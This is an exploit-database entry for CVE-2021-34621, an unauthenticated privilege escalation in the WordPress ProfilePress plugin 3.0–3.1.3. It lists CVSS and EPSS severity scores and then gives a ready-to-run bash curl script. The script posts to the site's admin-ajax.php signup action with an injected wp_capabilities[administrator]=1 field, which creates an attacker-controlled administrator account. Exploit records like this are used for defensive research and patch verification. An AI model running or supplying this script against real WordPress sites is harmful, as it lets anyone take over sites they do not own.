WordPress ProfilePress 3.1.3 Plugin - Privilege Escalation (Unauthenticated) Exploit

2021-08-3100:00:00

Numan Rajkotiya

0day.today

194

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.773 High

EPSS

Percentile

98.2%

JSON

# Exploit Title: WordPress Plugin ProfilePress 3.1.3 - Privilege Escalation (Unauthenticated)
# Exploit Author: Numan Rajkotiya
# Vendor Homepage: https://profilepress.net/
# Software Link: https://downloads.wordpress.org/plugin/wp-user-avatar.3.0.zip
# Version: [1] ProfilePress (Formerly WP User Avatar) 3.0 - 3.13
	   [2] WordPress 4.7 or higher
# Tested on: ProfilePress 3.0, Apache 2.4, and Windows Build 19043.928
# CVE : CVE-2021-34621

#!/bin/bash

# Exploit for WordPress Plugin ProfilePress 3.0 - 3.1.3 
# Change the name and password as per your requirement.

URL=$1

curl -X POST $URL"/wp-admin/admin-ajax.php" \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "reg_username=numan" \
 -d "[email protected]" \
 -d "reg_password=numan" \
 -d "reg_password_present=true" \
 -d "wp_capabilities[administrator]=1" \
 -d "reg_first_name=pwned" \
 -d "reg_last_name=numan" \
 -d "action=pp_ajax_signup"